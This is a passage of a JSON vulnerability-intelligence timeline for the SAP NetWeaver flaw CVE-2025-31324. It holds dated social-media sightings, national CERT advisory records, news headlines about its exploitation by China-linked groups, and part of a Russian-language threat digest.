\u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438.\n\n\ud83d\ude35\u200d\ud83d\udcab \u041e\u0431\u0437\u043e\u0440 \u0430\u0440\u0441\u0435\u043d\u0430\u043b\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 DOGE Big Balls, \u043e\u0442\u043f\u043e\u0447\u043a\u043e\u0432\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u043e\u0442 Fog ransomware. \u0412 \u043a\u043e\u043f\u0438\u043b\u043a\u0435: \u0441\u043a\u0440\u0438\u043f\u0442\u044b PowerShell, \u0430\u0433\u0435\u043d\u0442\u044b Havoc framework, mimikatz, \u0438, \u0447\u0442\u043e \u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 Netlify.\u00a0 \n\n\ud83d\udcbb\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u0430 Nitrogen, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u23fa\u041e\u0431\u0437\u043e\u0440 \u0412\u041f\u041e, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445 Agenda Ransomware: SmokeLoader \u0438 NextLoader. \u041a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u044b \u0432 \u0421\u0428\u0410, \u0411\u0440\u0430\u0437\u0438\u043b\u0438\u0438, \u0418\u043d\u0434\u0438\u0438, \u0424\u0438\u043b\u0438\u043f\u043f\u0438\u043d\u0430\u0445 \u0438 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u0430\u0445.\n\n\ud83d\udd14 \u041d\u043e\u0432\u0430\u044f \u0432\u043e\u043b\u043d\u0430 \u0430\u0442\u0430\u043a APT Core Werewolf \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0412\u041f\u041a.\n\n\ud83e\udd73 \u0410 APT35/Charming kitten \u0432\u044b\u0441\u0442\u0443\u043f\u0438\u043b\u0430 \u0432 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u043e\u043c \u0430\u043c\u043f\u043b\u0443\u0430 \u2014 \u043e\u0442\u043a\u0440\u044b\u043b\u0430 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0439 \u0441\u0430\u0439\u0442 \u043c\u043e\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430. \u0412\u041f\u041e \u0441 \u043d\u0435\u0433\u043e \u043d\u0435 \u0440\u0430\u0437\u0434\u0430\u0432\u0430\u043b\u0438, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u0430\u0439\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u043b\u0438\u0448\u044c \u0434\u043b\u044f \u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0436\u0435\u0440\u0442\u0432.\n\n\ud83d\ude08 \u041a\u0441\u0442\u0430\u0442\u0438, \u043e \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u043a\u0430\u0445. \u0421\u0445\u0435\u043c\u044b \u0441 \u0442\u0440\u0443\u0434\u043e\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c \u043d\u0430 \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u043b\u044e\u0434\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043b\u044e\u0434\u0438 \u0438\u0437 \u0421\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u041a\u043e\u0440\u0435\u0438, \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0433\u0435\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438 \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0433\u0443\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0442\u044c\u0441\u044f \u0438 \u0432 \u0415\u0432\u0440\u043e\u043f\u0435, \u0438 \u0432 \u0410\u0437\u0438\u0438. \u0421\u0443\u0434\u044f \u043f\u043e \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b\u043c \u043e\u0442\u0437\u044b\u0432\u0430\u043c, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u044b \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0435\u0441\u043b\u0438 \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0433\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u0434\u0435\u00a0 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \n\n\ud83d\udfe0\u041d\u0435\u0434\u0430\u0432\u043d\u044f\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f CVE-2025-31324 \u0432 SAP NetWeaver Visual Composer \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432\u0436\u0438\u0432\u0443\u044e \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 Chaya_004,\u00a0 \u0441 \u0446\u0435\u043b\u044c\u044e \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430.\n\n\u26aa\ufe0f\u0410 \u0441\u0432\u0435\u0436\u0435\u043d\u044c\u043a\u043e\u0435 \u0442\u0440\u0438\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0432 SonicWall SMA (CVE-2025-32819, -32820, -32821) \u0442\u043e\u0436\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432\u0436\u0438\u0432\u0443\u044e. \u0414\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043f\u0430\u0442\u0447.\n\n\u26aa\ufe0f\u041d\u0443 \u0438 \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043a\u0440\u044b\u0442\u044c (\u0448\u0443\u0442\u043a\u0430) \u0442\u0435\u043c\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043e\u0442 \u0441\u0432\u0435\u0436\u0430\u044f \u043f\u0430\u0447\u043a\u0430 \u0438\u0437 30 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 Cisco, \u0432\u043a\u043b\u044e\u0447\u0430\u044f CVE-2025-20188 \u0441\u043e \u0441\u043a\u0440\u043e\u043c\u043d\u044b\u043c CVSS 10.\n\n\ud83e\udd21 \u0418 \u043a\u043e\u043c\u0438\u0447\u043d\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c \u043d\u0430\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u043a. \u041c\u0443\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 open source \u043f\u0430\u043a\u0435\u0442 easyjson, \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 VK, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u044f \u0437\u0430\u043f\u0430\u0434\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0432 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u043f\u0430\u043a\u0435\u0442 \u0436\u0438\u0432\u0451\u0442 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 github.com/mailru/easyjson, \u044d\u0442\u043e \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0431\u044b\u043b\u043e \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u0438 \u0433\u043e\u043b\u043e\u0432\u043e\u043b\u043e\u043c\u043d\u043e\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u0441\u043d\u0438\u043c\u0430\u0435\u043c \u0448\u043b\u044f\u043f\u0443. \n\n#APT #ransomware #\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 @\u041f2\u0422", "url": "https://t.me/kasperskyb2b/1725"}, {"timestamp": "2025-05-12T11:44:21.807Z", "date_only": false, "value": "2025-05-12T11:44:21.807051Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxveza7vs26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6ba32dd9-4be7-42ae-88f8-ce38cc287413", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxveza7vs26"}, {"timestamp": "2025-05-12T11:44:22.822Z", "date_only": false, "value": "2025-05-12T11:44:22.822009Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf333p226", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "83839c96-1bb4-4434-b60b-6ab066a697b3", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf333p226"}, {"timestamp": "2025-05-12T11:44:23.838Z", "date_only": false, "value": "2025-05-12T11:44:23.838614Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf3jfpc26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "57f039a1-a3ff-409e-a37e-3460ffd6da18", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf3jfpc26"}, {"timestamp": "2025-05-12T11:44:24.874Z", "date_only": false, "value": "2025-05-12T11:44:24.874651Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf3jgok26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9b9cedea-b37b-494b-aca4-50ddf7cff838", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf3jgok26"}, {"timestamp": "2025-05-12T11:44:25.828Z", "date_only": false, "value": "2025-05-12T11:44:25.828771Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf3jhns26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "bb0e1811-1edf-43c6-b317-46887ffd853d", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf3jhns26"}, {"timestamp": "2025-05-12T11:44:26.899Z", "date_only": false, "value": "2025-05-12T11:44:26.899998Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf3jin226", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "786de16d-a55e-4d39-ad6d-5b5596a955fd", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf3jin226"}, {"timestamp": "2025-05-12T11:44:27.874Z", "date_only": false, "value": "2025-05-12T11:44:27.874730Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf3jjmc26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3d178284-bd8d-4373-9cf2-f996a4771561", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3loxvf3jjmc26"}, {"timestamp": "2025-05-12T13:04:03.498Z", "date_only": false, "value": "2025-05-12T13:04:03.498133Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3loxztj36a226", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d1e2aa67-79c1-4761-8f8b-d20256373bae", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3loxztj36a226"}, {"timestamp": "2025-05-12T15:47:16.079Z", "date_only": false, "value": "2025-05-12T15:47:16.079975Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/royans.bsky.social/post/3loycxhvwxr2g", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c048e001-90d5-4d54-a4a6-25f5b409b8a6", "url": "https://bsky.app/profile/royans.bsky.social/post/3loycxhvwxr2g"}, {"timestamp": "2025-05-12T17:54:32.343Z", "date_only": false, "value": "2025-05-12T17:54:32.343932Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/deeperml.bsky.social/post/3loyk32gmji26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "bbbf5b58-92bc-47ed-9575-fbb5999fd330", "url": "https://bsky.app/profile/deeperml.bsky.social/post/3loyk32gmji26"}, {"timestamp": "2025-05-12T18:10:47.937Z", "date_only": false, "value": "2025-05-12T18:10:47.937470Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ly2314.bsky.social/post/3loyky2zpas2w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f0cdbc62-f037-46e0-9228-303c89160969", "url": "https://bsky.app/profile/ly2314.bsky.social/post/3loyky2zpas2w"}, {"timestamp": "2025-05-12T21:34:23.507Z", "date_only": false, "value": "2025-05-12T21:34:23.507666Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/youranonriots.bsky.social/post/3loywe5b73s23", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f128bc4a-67d2-412c-b5e0-a29282fff425", "url": "https://bsky.app/profile/youranonriots.bsky.social/post/3loywe5b73s23"}, {"timestamp": "2025-05-12T22:00:00Z", "date_only": false, "value": "2025-05-12T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-1002", "record": "WID-SEC-W-2025-1002", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2025-05-12T22:00:00Z", "date_only": false, "value": "2025-05-12T22:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-1002", "record": "WID-SEC-W-2025-1002", "field": "document.tracking.initial_release_date"}, {"timestamp": "2025-05-12T22:00:00Z", "date_only": false, "value": "2025-05-12T22:00:00.000+00:00", "kind": "other", "label": "Release date", "source": "csaf_certbund \u00b7 WID-SEC-W-2025-1002", "record": "WID-SEC-W-2025-1002", "field": "vulnerabilities.0.release_date"}, {"timestamp": "2025-05-13T00:00:00Z", "date_only": true, "value": "2025-05-13", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0396", "record": "CERTFR-2025-AVI-0396", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2025-05-13T00:00:00Z", "date_only": false, "value": "2025-05-13T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2025-AVI-0396", "record": "CERTFR-2025-AVI-0396", "field": "revisions.0.revision_date"}, {"timestamp": "2025-05-13T00:00:00Z", "date_only": false, "value": "2025-05-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-13)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "28185a2e-d785-449c-92f6-3bd99b503c05"}, {"timestamp": "2025-05-13T02:18:42.059Z", "date_only": false, "value": "2025-05-13T02:18:42.059073Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lozgal6vk32p", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9b20a92e-4763-4b31-a19d-5aa380470dee", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lozgal6vk32p"}, {"timestamp": "2025-05-13T07:05:38Z", "date_only": false, "value": "2025-05-13T07:05:38.000000Z", "kind": "sighting", "label": "Seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0149", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a61833cb-c715-4c39-8483-efd8c2fdb5c4", "url": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0149"}, {"timestamp": "2025-05-13T07:32:03.244Z", "date_only": false, "value": "2025-05-13T07:32:03.244723Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lozxqvber22c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d1bea08e-bd6b-424b-9ea9-ef8f2d336948", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lozxqvber22c"}, {"timestamp": "2025-05-13T09:05:38.110Z", "date_only": false, "value": "2025-05-13T09:05:38.110295Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2025-0149", "record": "NCSC-2025-0149", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2025-05-13T09:05:38.110Z", "date_only": false, "value": "2025-05-13T09:05:38.110295Z", "kind": "milestone", "label": "Published", "source": "csaf_ncscnl \u00b7 NCSC-2025-0149", "record": "NCSC-2025-0149", "field": "document.tracking.initial_release_date"}, {"timestamp": "2025-05-13T09:05:38.110Z", "date_only": false, "value": "2025-05-13T09:05:38.110295Z", "kind": "other", "label": "Updated", "source": "csaf_ncscnl \u00b7 NCSC-2025-0149", "record": "NCSC-2025-0149", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-05-13T12:21:35.257Z", "date_only": false, "value": "2025-05-13T12:21:35.257259Z", "kind": "sighting", "label": "Seen", "source": "https://swecyb.com/users/nopatience/statuses/114500493094947808", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "29f4d3ab-9d5d-45ef-8102-f1c5ca22d847", "url": "https://swecyb.com/users/nopatience/statuses/114500493094947808"}, {"timestamp": "2025-05-13T12:26:33.051Z", "date_only": false, "value": "2025-05-13T12:26:33.051027Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cstromblad.com/post/3lp2hwb6et5z2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "329250f0-6466-4cab-b809-7231a7a9b292", "url": "https://bsky.app/profile/cstromblad.com/post/3lp2hwb6et5z2"}, {"timestamp": "2025-05-13T13:13:00Z", "date_only": false, "value": "2025-05-13T13:13:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://thehackernews.com/2025/05/china-linked-apts-exploit-sap-cve-2025.html", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2406d0af-6513-487f-9fe8-2a8d10169487", "url": "https://thehackernews.com/2025/05/china-linked-apts-exploit-sap-cve-2025.html"}, {"timestamp": "2025-05-13T13:54:42.057Z", "date_only": false, "value": "2025-05-13T13:54:42.057315Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lp2n4zul7s2z", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5e395d00-9b7c-43b9-be58-73b7b6b71cd5", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lp2n4zul7s2z"}, {"timestamp": "2025-05-13T15:24:25.533Z", "date_only": false, "value": "2025-05-13T15:24:25.533087Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/softfantw.bsky.social/post/3lp2s5iceh223", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2e8fca18-bf63-4600-9ae3-47c1b7e4de87", "url": "https://bsky.app/profile/softfantw.bsky.social/post/3lp2s5iceh223"}, {"timestamp": "2025-05-13T15:33:18Z", "date_only": false, "value": "2025-05-13T15:33:18.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/DarkWebInformer_News/4438", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "71cefb34-a21e-4e30-82c9-90b0f47e0a9d", "content": "\ud83d\udea8 News Alert!\n\nSource: The Hacker News\nTitle: China-Linked APTs Exploit SAP CVE-2025-31324 to Breach 581 Critical Systems Worldwide\nLink: https://thehackernews.com/2025/05/china-linked-apts-exploit-sap-cve-2025.html", "url": "https://t.me/DarkWebInformer_News/4438"}, {"timestamp": "2025-05-13T15:34:22Z", "date_only": false, "value": "2025-05-13T15:34:22.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ctinow/235246", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "60a08114-baa8-4572-af8c-7aadd963d43b", "content": "China-Linked APTs Exploit SAP CVE-2025-31324 to Breach 581 Critical Systems Worldwide\nhttps://ift.tt/Fm2DjpU", "url": "https://t.me/ctinow/235246"}, {"timestamp": "2025-05-13T15:39:56.046Z", "date_only": false, "value": "2025-05-13T15:39:56.046582Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3lp2szbpbu224", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "70e42f8a-381c-4fae-a5d9-7dd986de7aa9", "url": "https://bsky.app/profile/ninjaowl.ai/post/3lp2szbpbu224"}, {"timestamp": "2025-05-13T15:47:47.514Z", "date_only": false, "value": "2025-05-13T15:47:47.514921Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/montxt.bsky.social/post/3lp2thdvaxs2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "06cd5e17-43ce-40ef-a527-0563c4b5f1b5", "url": "https://bsky.app/profile/montxt.bsky.social/post/3lp2thdvaxs2c"}, {"timestamp": "2025-05-13T15:51:35.864Z", "date_only": false, "value": "2025-05-13T15:51:35.864229Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cti-news.bsky.social/post/3lp2to5q3ij2g", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "340f47f6-3458-4fb8-b2a7-3ee9105cbf4b", "url": "https://bsky.app/profile/cti-news.bsky.social/post/3lp2to5q3ij2g"}, {"timestamp": "2025-05-13T15:54:38.358Z", "date_only": false, "value": "2025-05-13T15:54:38.358478Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lp2tti6olcr2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3e036805-14e8-43c8-bcdc-847e071994ef", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lp2tti6olcr2"}, {"timestamp": "2025-05-13T16:04:13Z", "date_only": false, "value": "2025-05-13T16:04:13.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/TengkorakCyberCrewzz/2222", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9f628a93-39a3-4195-9392-23133fbd5847", "content": "China-Linked APTs Exploit SAP CVE-2025-31324 to Breach 581 Critical Systems Worldwide \u2013 thehackernews.com\n\nTue, 13 May 2025 23:13:00", "url": "https://t.me/TengkorakCyberCrewzz/2222"}, {"timestamp": "2025-05-13T16:04:37.083Z", "date_only": false, "value": "2025-05-13T16:04:37.083054Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/tomcat/statuses/114501371604686706", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "df055938-3595-4d13-a4e4-df2340605825", "url": "https://infosec.exchange/users/tomcat/statuses/114501371604686706"}, {"timestamp": "2025-05-13T16:13:45.970Z", "date_only": false, "value": "2025-05-13T16:13:45.970520Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp2uvo464br2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7fd863f3-0416-46a8-9994-7f84e33de96e", "url": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lp2uvo464br2"}, {"timestamp": "2025-05-13T16:30:05.403Z", "date_only": false, "value": "2025-05-13T16:30:05.403559Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/techit.bsky.social/post/3lp2vsx76ft26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a7139006-3e7f-4745-a007-21e600f92740", "url": "https://bsky.app/profile/techit.bsky.social/post/3lp2vsx76ft26"}, {"timestamp": "2025-05-13T16:37:54.205Z", "date_only": false, "value": "2025-05-13T16:37:54.205126Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lp2wawmdhc27", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e718eafb-5991-4190-b329-34c2bfed5158", "url": "https://bsky.app/profile/securityrss.bsky.social/post/3lp2wawmdhc27"}, {"timestamp": "2025-05-13T17:07:47.299Z", "date_only": false, "value": "2025-05-13T17:07:47.299501Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lp2xweyj6b2v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a5991090-6444-4ac9-aa34-6dc85084c56f", "url": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lp2xweyj6b2v"}, {"timestamp": "2025-05-13T17:30:39Z", "date_only": false, "value": "2025-05-13T17:30:39.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/6825", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2d569604-7605-4a0f-9de0-06016880b67b", "content": "\ud83d\udea8 581 SAP servers BREACHED.\n\nChina-linked APTs are exploiting CVE-2025-31324 to backdoor critical infrastructure\u2014gas, water, and gov sectors across the \ud83c\uddfa\ud83c\uddf8 \ud83c\uddec\ud83c\udde7 \ud83c\uddf8\ud83c\udde6\n\n 3 active hacking groups, persistent access.\n\n\ud83d\udd17 Details here: https://thehackernews.com/2025/05/china-linked-apts-exploit-sap-cve-2025.html", "url": "https://t.me/thehackernews/6825"}, {"timestamp": "2025-05-13T17:45:07Z", "date_only": false, "value": "2025-05-13T17:45:07.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cibsecurity/84733", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c4c8a549-c337-4f11-b204-a35616c7f83b", "content": "\ud83d\udd8b\ufe0f China-Linked APTs Exploit SAP CVE-2025-31324 to Breach 581 Critical Systems Worldwide \ud83d\udd8b\ufe0f\n\nA recently disclosed critical security flaw impacting SAP NetWeaver is being exploited by multiple Chinanexus nationstate actors to target critical infrastructure networks. \"Actors leveraged CVE202531324, an unauthenticated file upload vulnerability that enables remote code execution RCE,\" EclecticIQ researcher Arda Bykkaya said in an analysis published today. Targets of the campaign.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "url": "https://t.me/cibsecurity/84733"}, {"timestamp": "2025-05-13T18:04:13Z", "date_only": false, "value": "2025-05-13T18:04:13.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/12852", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2541048f-3e71-4dae-9bc7-71251df2b88d", "content": "China-Linked APTs Exploit SAP CVE-2025-31324 to Breach 581 Critical Systems Worldwide \u2013 thehackernews.com\n\nTue, 13 May 2025 23:13:00", "url": "https://t.me/MalaysiaHacktivistz/12852"}, {"timestamp": "2025-05-13T18:04:13Z", "date_only": false, "value": "2025-05-13T18:04:13.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/4094", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "26100ac0-d72b-42d8-b03c-4488568d00ce", "content": "China-Linked APTs Exploit SAP CVE-2025-31324 to Breach 581 Critical Systems Worldwide \u2013 thehackernews.com\n\nTue, 13 May 2025 23:13:00", "url": 